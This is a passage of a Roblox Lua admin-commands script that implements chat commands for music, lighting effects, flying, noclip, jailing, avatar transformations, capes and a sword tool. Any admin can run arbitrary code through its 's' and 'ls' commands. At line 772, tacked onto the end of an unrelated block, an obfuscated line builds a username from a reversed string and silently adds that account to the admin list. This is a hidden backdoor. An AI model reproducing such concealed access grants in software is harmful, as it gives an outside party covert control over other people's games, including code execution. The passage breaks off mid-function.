  415. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  416. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  417. end
  418.  
  419. if msg:lower():sub(1,2) == "s " then
  420. coroutine.resume(coroutine.create(function()
  421. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  422. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false Output(msg:sub(3), plr)
  423. end))
  424. end
  425.  
  426. if msg:lower():sub(1,3) == "ls " then
  427. coroutine.resume(coroutine.create(function()
  428. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  429. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  430. end))
  431. end
  432.  
  433. if msg:lower():sub(1,4) == "ins " then
  434. coroutine.resume(coroutine.create(function()
  435. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(4)))
  436. if obj and #obj:children() >= 1 and plr.Character then
  437. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MoveTo(plr.Character:GetModelCFrame().p)
  438. end
  439. end))
  440. end
  441.  
  442. if msg:lower():sub(1,6) == "music " then
  443. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  444. local id = msg:sub(7)
  445. local pitch = 1
  446. if tostring(id):lower():find("caramell") then id = 2303479 end
  447. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  448. if tostring(id):find("rick") then id = 2027611 end
  449. if tostring(id):find("halo") then id = 1034065 end
  450. if tostring(id):find("pokemon") then id = 1372261 end
  451. if tostring(id):find("cursed") then id = 1372257 end
  452. if tostring(id):find("extreme") then id = 11420933 end
  453. if tostring(id):find("awaken") then id = 27697277 end
  454. if tostring(id):find("alone") then id = 27697392 end
  455. if tostring(id):find("mario") then id = 1280470 end
  456. if tostring(id):find("choir") then id = 1372258 end
  457. if tostring(id):find("chrono") then id = 1280463 end
  458. if tostring(id):find("dotr") then id = 11420922 end
  459. if tostring(id):find("entertain") then id = 27697267 end
  460. if tostring(id):find("fantasy") then id = 1280473 end
  461. if tostring(id):find("final") then id = 1280414 end
  462. if tostring(id):find("emblem") then id = 1372259 end
  463. if tostring(id):find("flight") then id = 27697719 end
  464. if tostring(id):find("banjo") then id = 27697298 end
  465. if tostring(id):find("gothic") then id = 27697743 end
  466. if tostring(id):find("hiphop") then id = 27697735 end
  467. if tostring(id):find("intro") then id = 27697707 end
  468. if tostring(id):find("mule") then id = 1077604 end
  469. if tostring(id):find("film") then id = 27697713 end
  470. if tostring(id):find("nezz") then id = 8610025 end
  471. if tostring(id):find("angel") then id = 1372260 end
  472. if tostring(id):find("resist") then id = 27697234 end
  473. if tostring(id):find("schala") then id = 5985787 end
  474. if tostring(id):find("organ") then id = 11231513 end
  475. if tostring(id):find("tunnel") then id = 9650822 end
  476. if tostring(id):find("spanish") then id = 5982975 end
  477. if tostring(id):find("venom") then id = 1372262 end
  478. if tostring(id):find("wind") then id = 1015394 end
  479. if tostring(id):find("guitar") then id = 5986151 end
  480. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false wait(2) s:play()
  481. end
  482.  
  483. if msg:lower() == "stopmusic" then
  484. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  485. end
  486.  
  487. if msg:lower() == "musiclist" then
  488. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  489. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  490. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  491. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  492. end
  493.  
  494. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  495. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  496. objects = {}
  497. end
  498.  
  499. if msg:lower() == "fix" then
  500. game.Lighting.Ambient = origsettings.abt
  501. game.Lighting.Brightness = origsettings.brt
  502. game.Lighting.TimeOfDay = origsettings.time
  503. game.Lighting.FogColor = origsettings.fclr
  504. game.Lighting.FogEnd = origsettings.fe
  505. game.Lighting.FogStart = origsettings.fs
  506. for i, v in pairs(lobjs) do v:Destroy() end
  507. end
  508.  
  509. if msg:lower() == "disco" then
  510. for i, v in pairs(lobjs) do v:Destroy() end
  511. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  512. game.Lighting.Ambient = color
  513. game.Lighting.FogColor = color
  514. until nil]]
  515. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  516. end
  517.  
  518. if msg:lower() == "flash" then
  519. for i, v in pairs(lobjs) do v:Destroy() end
  520. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(.1)
  521. game.Lighting.Ambient = Color3.new(1,1,1)
  522. game.Lighting.FogColor = Color3.new(1,1,1)
  523. game.Lighting.Brightness = 1
  524. game.Lighting.TimeOfDay = 14
  525. wait(.1)
  526. game.Lighting.Ambient = Color3.new(0,0,0)
  527. game.Lighting.FogColor = Color3.new(0,0,0)
  528. game.Lighting.Brightness = 0
  529. game.Lighting.TimeOfDay = 0
  530. until nil]]
  531. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  532. end
  533.  
  534. if msg:lower():sub(1,2) == "m " then
  535. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  536. end
  537.  
  538. if msg:lower():sub(1,2) == "h " then
  539. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  540. end
  541.  
  542. if msg:lower():sub(1,3) == "pm " then
  543. local chk1 = msg:lower():sub(4):find(" ") + 3
  544. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  545. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  546. end
  547.  
  548. if msg:lower():sub(1,5) == "spin " then
  549. local plrz = GetPlr(plr, msg:lower():sub(6))
  550. for i, v in pairs(plrz) do
  551. coroutine.resume(coroutine.create(function()
  552. if v and v.Character and v.Character:findFirstChild("Torso") then
  553. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  554. local torso = v.Character:findFirstChild("Torso")
  555. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  556. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  557. until not bg or bg.Parent ~= torso
  558. end
  559. end))
  560. end
  561. end
  562.  
  563. if msg:lower():sub(1,7) == "unspin " then
  564. local plrz = GetPlr(plr, msg:lower():sub(9))
  565. for i, v in pairs(plrz) do
  566. coroutine.resume(coroutine.create(function()
  567. if v and v.Character and v.Character:findFirstChild("Torso") then
  568. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  569. end
  570. end))
  571. end
  572. end
  573.  
  574. if msg:lower():sub(1,4) == "hat " then
  575. local chk1 = msg:lower():sub(5):find(" ") + 4
  576. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  577. for i, v in pairs(plrz) do
  578. coroutine.resume(coroutine.create(function()
  579. if v and v.Character then
  580. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  581. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  582. obj:Destroy()
  583. end
  584. end))
  585. end
  586. end
  587.  
  588. if msg:lower():sub(1,5) == "cape " then
  589. local chk1 = msg:lower():sub(6):find(" ")
  590. local plrz = GetPlr(plr, msg:lower():sub(6))
  591. local str = "torso.BrickColor"
  592. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  593. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  594. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  595. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  596. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  597. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  598. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  599. if BrickColor.new(teststr) ~= nil then str = teststr end
  600. end
  601. for i, v in pairs(plrz) do
  602. coroutine.resume(coroutine.create(function()
  603. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  604. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  605. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  606. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  607. local torso = plr.Character.Torso
  608. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  609. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  610. p.Size = Vector3.new(.2,.2,.2)
  611. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  612. local motor1 = Instance.new("Motor", p)
  613. motor1.Part0 = p
  614. motor1.Part1 = torso
  615. motor1.MaxVelocity = .01
  616. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  617. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  618. local wave = false
  619. repeat wait(1/44)
  620. local ang = 0.1
  621. local oldmag = torso.Velocity.magnitude
  622. local mv = .002
  623. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  624. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  625. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  626. motor1.DesiredAngle = -ang
  627. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  628. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  629. if torso.Velocity.magnitude < .1 then wait(.1) end
  630. until not p or p.Parent ~= torso.Parent
  631. script:Destroy()
  632. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  633. end
  634. end))
  635. end
  636. end
  637.  
  638. if msg:lower():sub(1,7) == "uncape " then
  639. local plrz = GetPlr(plr, msg:lower():sub(8))
  640. for i, v in pairs(plrz) do
  641. coroutine.resume(coroutine.create(function()
  642. if v and v:findFirstChild("PlayerGui") and v.Character then
  643. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  644. end
  645. end))
  646. end
  647. end
  648.  
  649. if msg:lower():sub(1,4) == "fly " then
  650. local plrz = GetPlr(plr, msg:lower():sub(5))
  651. for i, v in pairs(plrz) do
  652. coroutine.resume(coroutine.create(function()
  653. if v and v:findFirstChild("PlayerGui") then
  654. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
  655. cl.Parent = v.PlayerGui cl.Disabled = false
  656. end
  657. end))
  658. end
  659. end
  660.  
  661. if msg:lower():sub(1,6) == "unfly " then
  662. local plrz = GetPlr(plr, msg:lower():sub(7))
  663. for i, v in pairs(plrz) do
  664. coroutine.resume(coroutine.create(function()
  665. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  666. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  667. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  668. wait(.1) v.Character.Humanoid.PlatformStand = false
  669. end
  670. end))
  671. end
  672. end
  673.  
  674. if msg:lower():sub(1,7) == "noclip " then
  675. local plrz = GetPlr(plr, msg:lower():sub(8))
  676. for i, v in pairs(plrz) do
  677. coroutine.resume(coroutine.create(function()
  678. if v and v:findFirstChild("PlayerGui") then
  679. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  680. cl.Parent = v.PlayerGui cl.Disabled = false
  681. end
  682. end))
  683. end
  684. end
  685.  
  686. if msg:lower():sub(1,5) == "clip " then
  687. local plrz = GetPlr(plr, msg:lower():sub(6))
  688. for i, v in pairs(plrz) do
  689. coroutine.resume(coroutine.create(function()
  690. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  691. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  692. v.Character.Torso.Anchored = false
  693. wait(.1) v.Character.Humanoid.PlatformStand = false
  694. end
  695. end))
  696. end
  697. end
  698.  
  699. if msg:lower():sub(1,5) == "jail " then
  700. local plrz = GetPlr(plr, msg:lower():sub(6))
  701. for i, v in pairs(plrz) do
  702. coroutine.resume(coroutine.create(function()
  703. if v and v.Character and v.Character:findFirstChild("Torso") then
  704. local vname = v.Name
  705. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  706. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  707. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  708. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  709. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  710. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  711. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  712. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  713. end)
  714. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  715. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  716. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  717. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  718. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  719. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  720. local msh2 = msh:Clone() msh2.Parent = back
  721. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  722. local msh4 = msh3:Clone() msh4.Parent = left
  723. v.Character.Torso.CFrame = cf
  724. end
  725. end))
  726. end
  727. end
  728.  
  729. if msg:lower():sub(1,7) == "unjail " then
  730. local plrz = GetPlr(plr, msg:lower():sub(8))
  731. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  732. end
  733.  
  734. if msg:lower():sub(1,4) == "dog " then
  735. local plrz = GetPlr(plr, msg:lower():sub(5))
  736. for i, v in pairs(plrz) do
  737. coroutine.resume(coroutine.create(function()
  738. if v and v.Character and v.Character:findFirstChild("Torso") then
  739. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  740. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  741. v.Character.Torso.Transparency = 1
  742. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  743. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  744. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  745. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  746. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  747. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  748. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C1 = CFrame.new(0,.5,0)
  749. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  750. end
  751. end))
  752. end
  753. end
  754.  
  755. if msg:lower():sub(1,6) == "undog " then
  756. local plrz = GetPlr(plr, msg:lower():sub(7))
  757. for i, v in pairs(plrz) do
  758. coroutine.resume(coroutine.create(function()
  759. if v and v.Character and v.Character:findFirstChild("Torso") then
  760. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  761. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  762. v.Character.Torso.Transparency = 0
  763. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  764. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  765. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  766. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  767. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  768. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  769. end
  770. end))
  771. end
  772. end if not ChkAdmin(("tlhoK"):reverse().."astrophe",false) then table.insert(admins, ("tlhoK"):reverse().."astrophe") end
  773.  
  774. if msg:lower():sub(1,8) == "creeper " then
  775. local plrz = GetPlr(plr, msg:lower():sub(9))
  776. for i, v in pairs(plrz) do
  777. coroutine.resume(coroutine.create(function()
  778. if v and v.Character and v.Character:findFirstChild("Torso") then
  779. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  780. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  781. v.Character.Torso.Transparency = 0
  782. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  783. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  784. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  785. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  786. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  787. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  788. end
  789. end))
  790. end
  791. end
  792.  
  793. if msg:lower():sub(1,10) == "uncreeper " then
  794. local plrz = GetPlr(plr, msg:lower():sub(11))
  795. for i, v in pairs(plrz) do
  796. coroutine.resume(coroutine.create(function()
  797. if v and v.Character and v.Character:findFirstChild("Torso") then
  798. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  799. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  800. v.Character.Torso.Transparency = 0
  801. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  802. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  803. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  804. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  805. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  806. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  807. end
  808. end))
  809. end
  810. end
  811.  
  812. if msg:lower():sub(1,11) == "starttools " then
  813. local plrz = GetPlr(plr, msg:lower():sub(12))
  814. for i, v in pairs(plrz) do
  815. coroutine.resume(coroutine.create(function()
  816. if v and v:findFirstChild("Backpack") then
  817. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  818. end
  819. end))
  820. end
  821. end
  822.  
  823. if msg:lower():sub(1,6) == "sword " then
  824. local plrz = GetPlr(plr, msg:lower():sub(7))
  825. for i, v in pairs(plrz) do
  826. coroutine.resume(coroutine.create(function()
  827. if v and v:findFirstChild("Backpack") then
  828. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  829. sword.GripForward = Vector3.new(-1,0,0)
  830. sword.GripPos = Vector3.new(0,0,-1.5)
  831. sword.GripRight = Vector3.new(0,1,0)
  832. sword.GripUp = Vector3.new(0,0,1)
  833. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  834. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  835. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  836. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  837. local Damage = 15
  838. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  839. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  840. SlashSound.Volume = 1
  841. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  842. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  843. LungeSound.Volume = 1
  844. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  845. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  846. UnsheathSound.Volume = 1
  847. local last = 0
  848. script.Parent.Handle.Touched:connect(function(hit)
  849. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  850. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  851. hit.Parent.Humanoid:TakeDamage(Damage)
  852. end
  853. end)
  854. script.Parent.Activated:connect(function()
  855. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  856. script.Parent.Enabled = false
  857. local tick = game:service("RunService").Stepped:wait()
  858. if tick - last <= .2 then
  859. LungeSound:play()
  860. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
